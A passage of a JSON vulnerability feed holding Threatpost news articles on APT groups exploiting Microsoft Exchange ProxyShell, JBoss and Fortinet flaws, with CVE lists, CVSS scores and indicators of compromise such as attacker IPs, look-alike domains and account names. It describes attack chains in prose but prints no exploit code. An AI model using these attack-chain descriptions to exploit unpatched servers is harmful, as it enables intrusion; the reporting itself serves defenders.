"CVE-2021-34473", "CVE-2021-34523", "CVE-2021-43267"], "modified": "2021-11-03T18:16:37", "id": "THREATPOST:52923238811C7BFD39E0529C85317249", "href": "https://threatpost.com/tortilla-exchange-servers-proxyshell/175967/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-10-01T12:44:45", "description": "A new APT group has emerged that\u2019s specifically targeting the fuel and energy complex and aviation industry in Russia, exploiting known vulnerabilities like Microsoft Exchange Server\u2019s [ProxyShell](<https://threatpost.com/microsoft-barrage-proxyshell-attacks/168943/>) and leveraging both new and existing malware to compromise networks.\n\nResearchers at security firm [Positive Technologies](<https://www.ptsecurity.com/ww-en/>) have been tracking the group, dubbed ChamelGang for its chameleon-like capabilities, since March. Though attackers mainly have been seen targeting Russian organizations, they have attacked targets in 10 countries so far, researchers said in a [report](<https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/>) by company researchers Aleksandr Grigorian, Daniil Koloskov, Denis Kuvshinov and Stanislav Rakovsky published online Thursday.\n\nTo avoid detection, ChamelGang hides its malware and network infrastructure under legitimate services of established companies like Microsoft, TrendMicro, McAfee, IBM and Google in a couple of unique ways, researchers observed.\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nOne is to acquire domains that imitate their legitimate counterparts \u2013 such as newtrendmicro.com, centralgoogle.com, microsoft-support.net, cdn-chrome.com and mcafee-upgrade.com. The other is to place SSL certificates that also imitate legitimate ones \u2013 such as github.com, www.ibm.com, jquery.com, update.microsoft-support.net \u2013 on its servers, researchers said.\n\nMoreover, ChamelGang \u2013 like [Nobelium](<https://threatpost.com/solarwinds-active-directory-servers-foggyweb-backdoor/175056/>) and [REvil](<https://threatpost.com/kaseya-patches-zero-days-revil-attacks/167670/>) before it \u2013 has hopped on the bandwagon of attacking the supply chain first to gain access to its ultimate target, they said. In one of the cases analyzed by Positive Technologies, \u201cthe group compromised a subsidiary and penetrated the target company\u2019s network through it,\u201d according to the writeup.\n\nThe attackers also appear malware-agnostic when it comes to tactics, using both known malicious programs such as [FRP](<https://howtofix.guide/frp-exe-virus/>), [Cobalt Strike Beacon](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>), and Tiny Shell, as well as previously unknown malware ProxyT, BeaconLoader and the DoorMe backdoor, researchers said.\n\n## **Two Separate Attacks**\n\nResearchers analyzed two attacks by the novel APT: one in March and one in August. The first investigation was triggered after a Russia-based energy company\u2019s antivirus protection repeatedly reported the presence of the Cobalt Strike Beacon in RAM.\n\nAttackers gained access to the energy company\u2019s network through the supply chain, compromising a vulnerable version of a subsidiary company\u2019s web application on the JBoss Application Server. Upon investigation, researchers found that attackers exploited a critical vulnerability, [CVE-2017-12149](<https://access.redhat.com/security/cve/CVE-2017-12149>), to remotely execute commands on the host.\n\nOnce on the energy company\u2019s network, ChamelGang moved laterally, deploying a number of tools along the way. They included Tiny Shell, with which a UNIX backdoor can receive a shell from an infected host, execute a command and transfer files; an old DLL hijacking technique associated with the Microsoft Distributed Transaction Control (MSDTC) Windows service to gain persistence and escalate privileges; and the Cobalt Strike Beacon for calling back to attackers for additional commands.\n\nResearchers were successful in accessing and exfiltrating data in the attack, researchers said. \u201cAfter collecting the data, they placed it on web servers on the compromised network for further downloading \u2026 using the Wget utility,\u201d they wrote.\n\n## **Cutting Short a ProxyShell Attack **\n\nThe second attack was on an organization from the Russian aviation production sector, researchers said. They notified the company four days after the server was compromised, working with employees to eliminate the threat shortly after.\n\n\u201cIn total, the attackers remained in the victim\u2019s network for eight days,\u201d researchers wrote. \u201cAccording to our data, the APT group did not expect that its backdoors would be detected so quickly, so it did not have time to develop the attack further.\u201d\n\nIn this instance, ChamelGang used a known chain of vulnerabilities in Microsoft Exchange called ProxyShell \u2013 CVE-2021-34473, CVE-2021-34523, CVE-2021-31207 \u2013 to compromise network nodes and gain a foothold. Indeed, a number of attackers took advantage of ProxyShell throughout August, [pummeling](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>) unpatched Exchange servers with attacks after a [researcher at BlackHat revealed](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) the attack surface.\n\nOnce on the network, attackers then installed a modified version of the backdoor DoorMe v2 on two Microsoft Exchange mail servers on the victim\u2019s network. Attackers also used BeaconLoader to move inside the network and infect nodes, as well as the Cobalt Strike Beacon.\n\n## **Victims Across the Globe**\n\nFurther threat intelligence following the investigation into attacks on the Russian companies revealed that ChamelGang\u2019s activity has not been limited to that country.\n\nPositive Technologies eventually identified 13 more compromised organizations in nine other countries \u2013 the U.S., Japan, Turkey, Taiwan, Vietnam, India, Afghanistan, Lithuania and Nepal. In the last four countries mentioned, attackers targeted government servers, they added.\n\nAttackers often used ProxyLogon and ProxyShell vulnerabilities in Microsoft Exchange Server against victims, who were all notified by the appropriate national security authorities in their respective countries.\n\nChamelGang\u2019s tendency to reach its targets through the supply chain also is likely one that it \u2013 as well as other APTs \u2013 will continue, given the success attackers have had so far with this tactic, researchers added. \u201cNew APT groups using this method to achieve their goals will appear on stage,\u201d they said.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2021-10-01T12:36:25", "type": "threatpost", "title": "New APT ChamelGang Targets Russian Energy, Aviation Orgs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-12149", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-10-01T12:36:25", "id": "THREATPOST:EDFBDF12942A6080DE3FAE980A53F496", "href": "https://threatpost.com/apt-chamelgang-targets-russian-energy-aviation/175272/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-13T19:26:48", "description": "Researchers\u2019 Microsoft Exchange server honeypots are being actively exploited via ProxyShell: The name of an attack disclosed at Black Hat last week that chains three vulnerabilities to enable unauthenticated attackers to perform remote code execution (RCE) and snag plaintext passwords.\n\nIn his Black Hat [presentation](<https://www.blackhat.com/us-21/briefings/schedule/#proxylogon-is-just-the-tip-of-the-iceberg-a-new-attack-surface-on-m>) last week, Devcore principal security researcher [Orange Tsai](<https://twitter.com/orange_8361>) said that a survey shows more than 400,000 Exchange servers on the internet that are exposed to the attack via port 443. On Monday, the SANS Internet Storm Center\u2019s Jan Kopriva [reported](<https://isc.sans.edu/forums/diary/ProxyShell+how+many+Exchange+servers+are+affected+and+where+are+they/27732/>) that he found more than 30,000 vulnerable Exchange servers via a Shodan scan and that any threat actor worthy of that title would find it a snap to pull off, given how much information is available.\n\nGoing by calculations tweeted by security researcher Kevin Beaumont, this means that, between ProxyLogon and ProxyShell, \u201cjust under 50 percent of internet-facing Exchange servers\u201d are currently vulnerable to exploitation, according to a Shodan search.\n\n> Breakdown of Exchange servers on Shodan vulnerable to ProxyShell or ProxyLogon, it's just under 50% of internet facing Exchange servers. [pic.twitter.com/3samyNHBpB](<https://t.co/3samyNHBpB>)\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 13, 2021](<https://twitter.com/GossiTheDog/status/1426207905779527682?ref_src=twsrc%5Etfw>)\n\nOn the plus side, Microsoft has already released patches for all of the vulnerabilities in question, and, cross your fingers, \u201cchances are that most organizations that take security at least somewhat seriously have already applied the patches,\u201d Kopriva wrote.\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nThe vulnerabilities affect Exchange Server 2013, 2016 and 2019.\n\nOn Thursday, Beaumont and NCC Group\u2019s vulnerability researcher Rich Warren disclosed that threat actors have exploited their Microsoft Exchange honeypots using the ProxyShell vulnerability.\n\n\u201cStarted to see in the wild exploit attempts against our honeypot infrastructure for the Exchange ProxyShell vulnerabilities,\u201d Warren tweeted, along with a screen capture of the code for a c# aspx webshell dropped in the /aspnet_client/ directory.\n\n> Started to see in the wild exploit attempts against our honeypot infrastructure for the Exchange ProxyShell vulnerabilities. This one dropped a c# aspx webshell in the /aspnet_client/ directory: [pic.twitter.com/XbZfmQQNhY](<https://t.co/XbZfmQQNhY>)\n> \n> \u2014 Rich Warren (@buffaloverflow) [August 12, 2021](<https://twitter.com/buffaloverflow/status/1425831100157349890?ref_src=twsrc%5Etfw>)\n\nBeaumont [tweeted](<https://twitter.com/GossiTheDog/status/1425844380376735746>) that he was seeing the same and connected it to Tsai\u2019s talk: \u201cExchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from @orange_8361\u2019s initial talk.\u201d\n\n> Exchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from [@orange_8361](<https://twitter.com/orange_8361?ref_src=twsrc%5Etfw>)'s initial talk.\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 12, 2021](<https://twitter.com/GossiTheDog/status/1425844380376735746?ref_src=twsrc%5Etfw>)\n\n## Dangerous Skating on the New Attack Surface\n\nIn [a post](<https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/>) on Sunday, Tsai recounted the in-the-wild ProxyLogon proof of concept that Devco reported to MSRC in late February, explaining that it made the researchers \u201cas curious as everyone after eliminating the possibility of leakage from our side through a thorough investigation.\n\n\u201cWith a clearer timeline appearing and more discussion occurring, it seems like this is not the first time that something like this happened to Microsoft,\u201d he continued. Mail server is both a highly valuable asset and a seemingly irresistible target for attackers, given that it holds businesses\u2019 confidential secrets and corporate data.\n\n\u201cIn other words, controlling a mail server means controlling the lifeline of a company,\u201d Tsai explained. \u201cAs the most common-use email solution, Exchange Server has been the top target for hackers for a long time. Based on our research, there are more than four hundred thousands Exchange Servers exposed on the Internet. Each server represents a company, and you can imagine how horrible it is while a severe vulnerability appeared in Exchange Server.\u201d\n\nDuring his Black Hat presentation, Tsai explained that the new attack surface his team discovered is based on \u201ca significant change in Exchange Server 2013, where the fundamental protocol handler, Client Access Service (CAS), splits into frontend and backend\u201d \u2013 a change that incurred \u201cquite an amount of design\u201d and yielded eight vulnerabilities, consisting of server-side bugs, client-side bugs and crypto bugs.\n\nHe chained the bugs into three attack vectors: The now-infamous [ProxyLogon](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>) that induced [patching frenzy](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) a few months back, the ProxyShell vector that\u2019s now under active attack, and another vector called ProxyOracle.\n\n\u201cThese attack vectors enable any unauthenticated attacker to uncover plaintext passwords and even execute arbitrary code on Microsoft Exchange Servers through port 443, which is exposed to the Internet by about 400,000 Exchange Servers,\u201d according to the presentation\u2019s introduction.\n\nThe three Exchange vulnerabilities, all of which are [patched](<https://threatpost.com/microsoft-crushes-116-bugs/167764/>), that Tsai chained for the ProxyShell attack:\n\n * [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) \u2013 Pre-auth path confusion leads to ACL bypass\n * [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) \u2013 Elevation of privilege on Exchange PowerShell backend\n * [CVE-2021-31207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>) \u2013 Post-auth arbitrary file-write leads to RCE\n\nProxyShell earned the Devcore team a $200,000 bounty after they used the bugs to take over an Exchange server at the [Pwn2Own 2021](<https://twitter.com/thezdi/status/1379467992862449664>) contest in April.\n\nDuring his Black Hat talk, Tsai said that he discovered the Exchange vulnerabilities when targeting the Microsoft Exchange CAS attack surface. As Tsai explained, CAS is \u201ca fundamental component\u201d of Exchange.\n\nHe referred to [Microsoft\u2019s documentation](<https://docs.microsoft.com/en-us/exchange/architecture/architecture?view=exchserver-2019>), which states:\n\n\u201cMailbox servers contain the Client Access services that accept client connections for all protocols. These frontend services are responsible for routing or proxying connections to the corresponding backend services on a Mailbox server.\u201d\n\n\u201cFrom the narrative you could realize the importance of CAS, and you could imagine how critical it is when bugs are found in such infrastructure. CAS was where we focused on, and where the attack surface appeared,\u201d Tsai wrote. \u201cCAS is the fundamental component in charge of accepting all the connections from the client side, no matter if it\u2019s HTTP, POP3, IMAP or SMTP, and proxies the connections to the corresponding backend service.\u201d\n\n## ProxyShell Just the \u2018Tip of the Iceberg\u2019\n\nOut of all the bugs he found in the new attack surface, Tsai dubbed [CVE-2020-0688](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) (an RCE vulnerability that involved a hard-coded cryptographic key in Exchange) the \u201cmost surprising.\u201d\n\n\u201cWith this hard-coded key, an attacker with low privilege can take over the whole Exchange Server,\u201d he wrote. \u201cAnd as you can see, even in 2020, a silly, hard-coded cryptographic key could still be found in an essential software like Exchange. This indicated that Exchange is lacking security reviews, which also inspired me to dig more into the Exchange security.\u201d\n\nBut the \u201cmost interesting\u201d flaw is [CVE-2018-8581](<https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange>), he said, which was disclosed by someone who cooperated with ZDI. Though it\u2019s a \u201csimple\u201d server-side request forgery (SSRF), it could be combined with NTLM Relay, enabling the attacker to \u201cturn a boring SSRF into [something really fancy,\u201d Tsai said.](<https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/>)\n\nFor example, it could \u201cdirectly control the whole Domain Controller through a low-privilege account,\u201d Tsai said.\n\n## Autodiscover Figures into ProxyShell\n\nAs [BleepingComputer](<https://www.bleepingcomputer.com/news/microsoft/microsoft-exchange-servers-are-getting-hacked-via-proxyshell-exploits/>) reported, during his presentation, Tsai explained that one of the components of the ProxyShell attack chain targets the Microsoft Exchange [Autodiscover](<https://docs.microsoft.com/en-us/exchange/architecture/client-access/autodiscover?view=exchserver-2019>) service: a service that eases configuration and deployment by providing clients access to Exchange features with minimal user input.\n\nTsai\u2019s talk evidently triggered a wave of scanning for the vulnerabilities by attackers.\n\nAfter watching the presentation, other security researchers replicated the ProxyShell exploit. The day after Tsai\u2019s presentation, last Friday, PeterJson and Nguyen Jang [published](<https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1>) more detailed technical information about their successful reproduction of the exploit.\n\nSoon after, Beaumont [tweeted](<https://twitter.com/GossiTheDog/status/1422178411385065476?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1422178411385065476%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fwww.bleepingcomputer.com%2Fnews%2Fmicrosoft%2Fmicrosoft-exchange-servers-scanned-for-proxyshell-vulnerability-patch-now%2F>) about a threat actor who was probing his Exchange honeypot using the [Autodiscover service](<https://docs.microsoft.com/en-us/exchange/architecture/client-access/autodiscover?view=exchserver-2019>). As of yesterday, Aug. 12, those servers were being targeted using autodiscover.json, he tweeted.\n\n> Exchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from [@orange_8361](<https://twitter.com/orange_8361?ref_src=twsrc%5Etfw>)'s initial talk.\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 12, 2021](<https://twitter.com/GossiTheDog/status/1425844380376735746?ref_src=twsrc%5Etfw>)\n\nAs of Thursday, ProxyShell was dropping a 265K webshell \u2013 the minimum file size that can be created via ProxyShell due to its use of the Mailbox Export function of Exchange Powershell to create PST files \u2013 to the \u2018c:\\inetpub\\wwwroot\\aspnet_client\\\u2019 folder. Warren shared a sample with BleepingComputer that showed that the webshells consist of \u201ca simple authentication-protected script that the threat actors can use to upload files to the compromised Microsoft Exchange server.\u201d\n\nBad Packets told the outlet that as of Thursday, was seeing threat actors scanning for vulnerable ProxyShell devices from IP addresses in the U.S., Iran and the Netherlands, using the domains @abc.com and @1337.com, from the known addresses 3.15.221.32 and 194.147.142.0/24.\n\nWorried about where the next attack is coming from? We\u2019ve got your back. **[REGISTER NOW](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)** for our upcoming live webinar, How to **Think Like a Threat Actor**, in partnership with Uptycs on Aug. 17 at 11 AM EST and find out precisely where attackers are targeting you and how to get there first. Join host Becky Bracken and Uptycs researchers Amit Malik and Ashwin Vamshi on **[Aug. 17 at 11AM EST for this LIVE discussion](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)**.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-13T18:56:27", "type": "threatpost", "title": "Exchange Servers Under Active Attack via ProxyShell Bugs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-8581", "CVE-2020-0688", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-13T18:56:27", "id": "THREATPOST:4B2E19CAF27A3EFBCB2F777C6E528317", "href": "https://threatpost.com/exchange-servers-attack-proxyshell/168661/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-18T02:26:11", "description": "A state-backed Iranian threat actor has been using multiple CVEs \u2013 including both serious Fortinet vulnerabilities for months and a Microsoft Exchange ProxyShell weakness for weeks \u2013 looking to gain a foothold within networks before moving laterally and launching [BitLocker](<https://threatpost.com/hades-ransomware-connections-hafnium/165069/>) ransomware and other nastiness.\n\nA joint [advisory](<https://us-cert.cisa.gov/ncas/current-activity/2021/11/17/iranian-government-sponsored-apt-cyber-actors-exploiting-microsoft>) published by CISA on Wednesday was meant to highlight the ongoing, malicious cyber assault, which has been tracked by the FBI, the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC) and the United Kingdom\u2019s National Cyber Security Centre (NCSC). All of the security bodies have traced the attacks to an Iranian government-sponsored advanced persistent threat (APT).\n\nThe Iranian APT has been exploiting Fortinet vulnerabilities since at least March 2021 and a Microsoft Exchange ProxyShell vulnerability since at least October 2021, according to the alert. The weaknesses are granting the attackers initial access to systems that\u2019s then leading to follow-on operations including ransomware, data exfiltration or encryption, and extortion.\n\nThe APT has used the same Microsoft Exchange vulnerability in Australia.\n\n## CISA Warning Follows Microsoft Report on Six Iranian Threat Groups\n\nCISA\u2019s warning came on the heels of [an analysis](<https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/>) of the evolution of Iranian threat actors released by Microsoft\u2019s Threat Intelligence Center (MSTIC) on Tuesday.\n\nMSTIC researchers called out three trends they\u2019ve seen emerge since they started tracking six increasingly sophisticated Iranian APT groups in September 2020:\n\n * They are increasingly utilizing ransomware to either collect funds or disrupt their targets.\n * They are more patient and persistent while engaging with their targets.\n * While Iranian operators are more patient and persistent with their social engineering campaigns, they continue to employ aggressive brute force attacks on their targets.\n\nThey\u2019ve seen ransomware attacks coming in waves, averaging every six to eight weeks, as shown in the timeline below.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/17104422/Fig1b-ransomware-timeline.jpg>)\n\nTimeline of ransomware attacks by Iranian threat actors. Source: MSTIC.\n\nIn keeping with what CISA described on Wednesday, MSTIC has seen the Iran-linked [Phosphorous group](<https://threatpost.com/apt-ta453-siphons-intel-mideast/167715/>) \u2013 aka a number of names, including Charming Kitten, TA453, APT35, Ajax Security Team, NewsBeef and Newscaster \u2013 globally target the Exchange and Fortinet flaws \u201cwith the intent of deploying ransomware on vulnerable networks.\u201d\n\nThe researchers pointed to a recent blog post by the [DFIR Report](<https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/>) describing a similar intrusion, in which the attackers exploited vulnerabilities in on-premise Exchange Servers to compromise their targets\u2019 environments and encrypt systems via BitLocker ransomware: activity that MSTIC also attributed to Phosphorous.\n\n## No Specific Sectors Targeted\n\nThe threat actors covered in CISA\u2019s alert aren\u2019t targeting specific sectors. Rather, they\u2019re focused on exploiting those irresistible Fortinet and Exchange vulnerabilities.\n\nThe alert advised that the APT actors are \u201cactively targeting a broad range of victims across multiple U.S. critical infrastructure sectors, including the Transportation Sector and the Healthcare and Public Health Sector, as well as Australian organizations.\u201d\n\n## Malicious Activity\n\nSince March, the Iranian APT actors have been scanning devices on ports 4443, 8443 and 10443 for the much-exploited, serious Fortinet FortiOS vulnerability tracked as [CVE-2018-13379](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379>) \u2013 a path-traversal issue in Fortinet FortiOS, where the SSL VPN web portal allows an unauthenticated attacker to download system files via specially crafted HTTP resource requests.\n\nIt\u2019s d\u00e9j\u00e0 vu all over again: In April, CISA had [warned](<https://threatpost.com/fbi-apts-actively-exploiting-fortinet-vpn-security-holes/165213/>) about those same ports being scanned by cyberattackers looking for the Fortinet flaws. In its April alert ([PDF](<https://www.ic3.gov/media/news/2021/210402.pdf>)), CISA said that it looked like the APT actors were going after access \u201cto multiple government, commercial, and technology services networks.\u201d\n\nThat\u2019s what APT actors do, CISA said: They exploit critical vulnerabilities like the Fortinet CVEs \u201cto conduct distributed denial-of-service (DDoS) attacks, ransomware attacks, structured query language (SQL) injection attacks, spearphishing campaigns, website defacements, and disinformation campaigns.\u201d\n\nCVE-2018-13379 was just one of three security vulnerabilities in the Fortinet SSL VPN that the security bodies had seen being used to gain a foothold within networks before moving laterally and carrying out recon, as the FBI and CISA said in the April alert.\n\nAccording to Wednesday\u2019s report, the APT actors are also enumerating devices for the remaining pair of FortiOS vulnerabilities in the trio CISA saw being exploited in March, which are:\n\n * [CVE-2020-12812](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12812>), an improper-authentication vulnerability in SSL VPN in FortiOS that could allow a user to log in successfully without being prompted for the second factor of authentication (FortiToken) if they changed the case of their username, and\n * [CVE-2019-5591](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5591>): a default-configuration vulnerability in FortiOS that could allow an unauthenticated attacker on the same subnet to intercept sensitive information by impersonating the LDAP server.\n\n\u201cThe Iranian Government-sponsored APT actors likely exploited these vulnerabilities to gain access to vulnerable networks,\u201d according to Wednesday\u2019s alert.\n\nIn May, the same Iranian actors also exploited a Fortinet FortiGate firewall to gain access to a U.S. municipal government\u2019s domain. \u201cThe actors likely created an account with the username \u201celie\u201d to further enable malicious activity,\u201d CISA said, pointing to a previous FBI flash alert ([PDF](<https://www.ic3.gov/media/news/2021/210527.pdf>)) on the incident.\n\nIn June, the same APT actors exploited another FortiGate security appliance to access environmental control networks associated with a U.S. children\u2019s hospital after likely leveraging a server assigned to IP addresses 91.214.124[.]143 and 162.55.137[.]20: address that the FBI and CISA have linked with Iranian government cyber activity. They did it to \u201cfurther enable malicious activity against the hospital\u2019s network,\u201d CISA explained.\n\n\u201cThe APT actors accessed known user accounts at the hospital from IP address 154.16.192[.]70, which FBI and CISA judge is associated with government of Iran offensive cyber activity,\u201d CISA said.\n\n## Yet More Exchange ProxyShell Attacks\n\nFinally, the gang turned to exploiting a Microsoft Exchange ProxyShell vulnerability \u2013 CVE-2021-34473 \u2013 last month, in order to, again, gain initial access to systems in advance of follow-on operations. ACSC believes that the group has also used [CVE-2021-34473](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34473>) in Australia.\n\nProxyShell is a name given to an attack that chains a trio of vulnerabilities together (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207), to enable unauthenticated attackers to perform remote code execution (RCE) and to snag plaintext passwords.\n\nThe attack was outlined in a presentation ([PDF](<https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf>)) given by Devcore principal security researcher [Orange Tsai](<https://twitter.com/orange_8361>) at Black Hat in April. In it, Tsai disclosed an entirely new attack surface in Exchange, and a [barrage](<https://threatpost.com/exchange-servers-attack-proxyshell/168661/>) of [attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>) soon followed. August was glutted with reports of threat actors exploiting ProxyShell to launch [webshell attacks](<https://threatpost.com/proxyshell-attacks-unpatched-exchange-servers/168879/>), as well as to deliver [LockFile ransomware](<https://pbs.twimg.com/media/E9TmPo6XMAYCnO-?format=jpg&name=4096x4096>).\n\n## Indications of Compromise\n\n[CISA\u2019s detailed alert](<https://us-cert.cisa.gov/ncas/alerts/aa21-321a>) gives a laundry list of tactics and techniques being used by the Iran-linked APT.\n\nOne of many indicators of compromise (IOC) that\u2019s been spotted are new user accounts that may have been created by the APT on domain controllers, servers, workstations and active directories [[T1136.001](<https://attack.mitre.org/versions/v10/techniques/T1136/001>), [T1136.002](<https://attack.mitre.org/versions/v10/techniques/T1136/002>)].\n\n\u201cSome of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization,\u201d CISA advised.\n\nBesides unrecognized user accounts or accounts established to masquerade as existing accounts, these account usernames may be associated with the APT\u2019s activity:\n\n * Support\n * Help\n * elie\n * WADGUtilityAccount\n\nIn its Tuesday analysis, MSTIC researchers cautioned that Iranian operators are flexible, patient and adept, \u201c[having] adapted both their strategic goals and tradecraft.\u201d Over time, they said, the operators have evolved into \u201cmore competent threat actors capable of conducting a full spectrum of operations, including:\n\n * Information operations\n * Disruption and destruction\n * Support to physical operations\n\nSpecifically, these threat actors are proved capable of all these operations, researchers said:\n\n * Deploy ransomware\n * Deploy disk wipers\n * Deploy mobile malware\n * Conduct phishing attacks\n * Conduct password spray attacks\n * Conduct mass exploitation attacks\n * Conduct supply chain attacks\n * Cloak C2 communications behind legitimate cloud services\n\n_**Want to win back control of the flimsy passwords standing between your network and the next cyberattack? Join Darren James, head of internal IT at Specops, and Roger Grimes, data-driven defense evangelist at KnowBe4, to find out how during a free, LIVE Threatpost event, **_[**\u201cPassword Reset: Claiming Control of Credentials to Stop Attacks,\u201d**](<https://bit.ly/3bBMX30>)_** TODAY, Wed., Nov. 17 at 2 p.m. ET. Sponsored by Specops.**_\n\n[**Register NOW**](<https://bit.ly/3bBMX30>)_** for the LIVE event**__**!**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-17T17:04:01", "type": "threatpost", "title": "Exchange, Fortinet Flaws Being Exploited by Iranian APT, CISA Warns", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-5591", "CVE-2020-12812", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-11-17T17:04:01", "id": "THREATPOST:604B67FD6EFB0E72DDD87DF07C8F456D", "href": "https://threatpost.com/exchange-fortinet-exploited-iranian-apt-cisa/176395/", "cvss": 